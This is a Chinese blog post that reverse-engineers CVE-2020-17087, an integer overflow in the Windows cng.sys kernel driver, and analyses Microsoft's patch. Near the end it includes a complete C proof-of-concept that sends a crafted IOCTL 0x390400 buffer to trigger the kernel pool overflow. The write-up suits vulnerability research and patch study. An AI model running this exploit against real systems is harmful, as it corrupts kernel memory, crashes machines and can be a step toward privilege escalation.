CVE-2020-17087逆向分析

6 篇文章 0 订阅
3 篇文章 0 订阅

文章写了很久今天才发现一直是草稿状态。。。。

----------------------------------分割线---------------------------------------

漏洞逆向分析

17087是一个位于Cng.sys内核中的一个整形溢出漏洞,因为整形溢出导致内存申请大小不足,导致内存溢出,此内核主要用于各种加密算法以及其Key的管理,此内核暴露了大量的ioctl code供应用层程序调用。
先使用windbg查看内核发生溢出后的函数调用栈
在这里插入图片描述
去掉nt!剩下的cng!便是漏洞触发时的函数调用顺序,自下而上
,找到产生溢出的函数
在这里插入图片描述

用我写了一半的fuzz工具(一直划水,开发进度缓慢目前大部分功能还没写出来,也就只能做做ioctl code探测了…)探测一下哪些ioctl可用,这些ioctl code大致从0x390000开始到0x390400结束,除了0x390073的错误码看不出来是什么问题外,其他的大致都是参数错误,0x390400是输入缓冲区过小
在这里插入图片描述
以上大致为应用层可用的ioctl code,17087出现在0x390400ioctl code处理中
先来从DriverEntry找找分发函数
在这里插入图片描述
直接进去
在分析inbuff与outbuff时会有点问题,那就是这两个都是从IRP结构体中的一个共用体中取值的,所以ida默认逆出来的代码实际上应该是有误的,需要手动选择共用体成员
在CngDispatch函数中inbuff默认应该是这样取值的
在这里插入图片描述

去微软查官方文档会发现masterirp应该是
在这里插入图片描述

然而这种情况在此代码的前后逻辑中似乎并不合理,再观察AssociatedIrp共用体会发现systembuffer
在这里插入图片描述
systembuffer通常会用于拷贝存放应用层传来的数据,大致推断这里逻辑上应该是取systembuffer,然后再来看outbuff

![在这里插入图片描述](https://img-blog.csdnimg.cn/20210226123850914.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgxNTkzMA==,size_16,color_FFFFFF,t_70
如果不满足上面条件则
在这里插入图片描述
这里不太好推断,但是结合最上面的if就不难了
在这里插入图片描述
这个宏用来获取请求的方式根据上面那个判断如果等于2就从mdladdress中获取否则从masterirp(实际上是systembuffer)中获取,然后再来看看
在这里插入图片描述
而2正好是METHOD_OUT_DIRECT的值,而0x390400&3的值刚好是0也就是METHOD_BUFFERED
在这里插入图片描述
现在大概就能分析出这一段的逻辑了
在这里插入图片描述
首先通过ioctl code获取请求方式如果是METHOD_OUT_DIRECT就从mdladdress获取outbuff,从systembuffer中获取inbuff,否则就从systembuffer中同时获取inbuff与outbuff,然后将所需值传入CngDeviceControl函数
在这里插入图片描述
进入CngDeviceControl函数会先进行ioctl code选择判断,我们直接找到0x390400
在这里插入图片描述
当然这些变量参数名不会自动变成这样,需要手动分析然后再改名,这里我们再直接进入ConfigIoHandler_Safeguarded函数
在这里插入图片描述

这里v7等于outbuff_size,这里会判断输出缓冲区是否大于等于8,如果大于等于8,则会申请两块大小与inbuff相同的内存
然后将v6的数据移动到内存块1中,v6实际上就是inbuff
在这里插入图片描述
第二块内存全部初始化为0,然后进入IoUnpack_SG_ParamBlock_Header函数
在这里插入图片描述
这里v17等于inbuff_size,flags是一个未初始化的unsigned int 型变量,v12还是指向第二块内存
这里前半部分主要是对一些指针做一些检查
在这里插入图片描述

需要注意的地方

在这里插入图片描述
因为这里使用类型转换将inbuff_size_buff转换成了dword类型,所以这里会将inbuff的第四个字节开始的四个字节数据存入flags里
后半部分的两个if作用差不多,在经过一系列指针检查后,会将第二块内存的第8个字节处置为-1
在这里插入图片描述
然后跳出,回到ConfigIoHandler_Safeguarded函数
在这里插入图片描述
然后会对IoUnpack_SG_ParamBlock_Header函数返回值进行判断,如果不为0就报错,否则之后会转入ConfigFunctionIoHandler函数,参数v18与v5分别是
在这里插入图片描述
v7等于outbuffsize
在这里插入图片描述
v5等于outbuff
在这里插入图片描述
然后进入ConfigFunctionIoHandler函数
在这里插入图片描述

这里会对flags也就是inbuff的第四个字节处开始的四个字节数据值进行判断,也就是说inbuff数据的第四个字节处开始的一个dword型数据值右移后必须要等于0/1/2
进入其中一个函数后,要注意
在这里插入图片描述
这里将flags的值转换成了__int16,16位也就相当于一个unsigned short类型的值,也就是说原本的高十六位会被截断,只保留低16位。
进入ConfigurationFuctionIoHandler函数
在这里插入图片描述
前三个参数已经声明出来了,后三个参数需要利用第三个参数来进行指针访问,在这里用了va_list那一系列函数来获取参数4、5、6
在这里插入图片描述
之后会进入IoUnpack_SG_Configuration_ParamBlock函数
在这里插入图片描述
如果参数15等于NULL则执行以下,这些函数处理逻辑都类似,都是对inbuff进行一些检查
在这里插入图片描述

后面还有更多的if和while看的人眼花缭乱,主要是对申请到的第二块内存mem2的指定偏移字节处的连续4个字节进行检查并且将其内存置为-1,分别是8-12字节,24-28字节,56-60字节,80-84字节,如果检查无误,就跳转回这一部分·
在这里插入图片描述
在这里插入图片描述

进入IoUnpack_SG_Buffer函数
在这里插入图片描述
先判断inbuff+偏移处地址是否可用,获取到偏移量后再判断mem2内存是否为空,然后对mem2的内存边界进行检查(&v9[a5]应该是a5+v9),最后一个if应该是在对0x60偏移处进行内存检查,然后循环8次,将0x58-0x60八个字节置为-1,然后跳转至lable_10。
这里先要用inbuff+58处的数据加上inbuff的基址,来判断此地址是否为空,如果为空就返回0
在这里插入图片描述
如何会进行一系列内存检查
在这里插入图片描述
这里逻辑比较绕脑,他会先进行一次内存检查,然后减去inbuff基址再重新获取到inbuff+0x58处的数据。然后判断mem2是否为空,不为空则向下执行。然后在对mem2进行差不多的内存检查,然后会将inbuff+0x50处的数据与0x58处的数据和mem2基址相加,然后进行判断,由于mem2的大小与inbuff的大小相同,所以inbuff的字节大小应该为inbuff[0x50]+inbuff[0x58]

在这里插入图片描述
这里的v8等于inbuff+0x50处值,所以当检查无误后便开始循环。
还要看看IoUnpack_SG_SzString函数,此函数也会对内存进行与上面类似的检查,但它还会将inbuff的基址与inbuff+偏移中的值再写回inbuff+偏移中去
在这里插入图片描述
假设inbuff+0x10处的值为0x100,那此函数处理内存检查外,还会经0x100与inbuff的基址相加,再写回inbuff+0x10处


这里将inbuff指定偏移内存的值赋值给函数参数,这里要注意每次赋值是8个字节,回到ConfigurationFunctionIoHandler函数,总结这一块的大致功能就是检查inbuff与mem2的内存,并将inbuff中指定偏移位置的数据拷贝给指定的变量,如果函数返回非0说明有错误
在这里插入图片描述
然后转到v5==0x400的位置,
在这里插入图片描述

BCryptSetContextFunctionProperty函数中,首先使用一个if进行判断
在这里插入图片描述

然后会再用一个判断检查inbuff偏移地址0x50与0x58处
在这里插入图片描述
然后会运行到CfgReg_Acquire函数
在这里插入图片描述
此函数内将会对几个注册表键值进行读取验证
在这里插入图片描述
这里对System\CurrentControlSet\Control\Cryptography\Configuration\Local进行验证
在这里插入图片描述
这里对System\CurrentControlSet\Control\Cryptography\Configuration进行验证
在这里插入图片描述
还要注意如果inbuff+8处值为2,那就对System\CurrentControlSet\Control\Cryptography\Configuration\Domain进行检查验证
在这里插入图片描述
然后会初始化三个字符串
在这里插入图片描述
sourceString指向inbuff+0x10处在这里插入图片描述

v53指向inbuff+0x20处
在这里插入图片描述
然后会进入CfgAdtReportFunctionPropertyOperation函数
ng?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgxNTkzMA==,size_16,color_FFFFFF,t_70)
v39的低16位为inbuff+0x50处值,v7等于inbuff+0x18,进去后
在这里插入图片描述

v26为inbuff+0x50处数据,然后还会对参数进行一系列检查,最后进入CfgAdtpFormatPropertyBlock函数
在这里插入图片描述
v8等于inbuff+0x58处数据,v26等于inbuff+0x50处数据
在这里插入图片描述
注意这里a2数据类型只有16位,两个字节
在这里插入图片描述
这里再申请内存时乘以6会出现上溢越乘越小的情况
在这里插入图片描述
这个循环会对刚刚申请的内存进行读写处理,v11是循环次数等于inbuff+0x50处数据,当0x50处数据乘以6大于0xffff时,漏洞就会触发。
poc:

#include <stdio.h>
#include <windows.h>

int main() {
	HANDLE hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng",
		GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

	if (hCng == NULL) {
		return 1;
	}
	//
	CONST DWORD DataBufferSize = 0xFFFF;
	CONST DWORD IoctlSize = 0x1000 + DataBufferSize;
	BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);
	RtlZeroMemory(IoctlData, IoctlSize);

	*(DWORD*)&IoctlData[0x00] = 0x1A2B3C4D;
	*(DWORD*)&IoctlData[0x04] = 0x10400;
	*(DWORD*)&IoctlData[0x08] = 1;
	*(ULONGLONG*)&IoctlData[0x10] = 0x100;
	*(DWORD*)&IoctlData[0x18] = 6;
	*(ULONGLONG*)&IoctlData[0x20] = 0x200;
	*(ULONGLONG*)&IoctlData[0x28] = 0x300;
	*(ULONGLONG*)&IoctlData[0x30] = 0x400;
	*(DWORD*)&IoctlData[0x38] = 0;
	*(ULONGLONG*)&IoctlData[0x40] = 0x500;
	*(ULONGLONG*)&IoctlData[0x48] = 0x600;
	*(DWORD*)&IoctlData[0x50] = DataBufferSize; // OVERFLOW
	*(ULONGLONG*)&IoctlData[0x58] = 0x1000;
	*(ULONGLONG*)&IoctlData[0x60] = 0;
	RtlCopyMemory(&IoctlData[0x100], L"123456", 0x12);
	RtlCopyMemory(&IoctlData[0x200], L"abcdef", 0x12);
	RtlCopyMemory(&IoctlData[0x400], L"ghijkl", 0x12);

	ULONG_PTR OutputBuffer = 0;
	DWORD BytesReturned;
	BOOL Status = DeviceIoControl(
		hCng,
		0x390400,
		IoctlData,
		IoctlSize,
		&OutputBuffer,
		sizeof(OutputBuffer),
		&BytesReturned,
		NULL
	);

	HeapFree(GetProcessHeap(), 0, IoctlData);
	CloseHandle(hCng);

	return 0;
}

补丁逆向分析

直接定位到漏洞函数
在这里插入图片描述
在这里插入图片描述

比起原来的漏洞函数,多了RtlUShortMult函数,它会将inbuff+0x50处数据进行长度检查,如果先将inbuff+0x50*6的结果放入一个32位int型变量中,如果大于0xffff就返回-1,代表检查失败,v8=-1所以函数会直接退出不进行内存申请以及其他代码。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值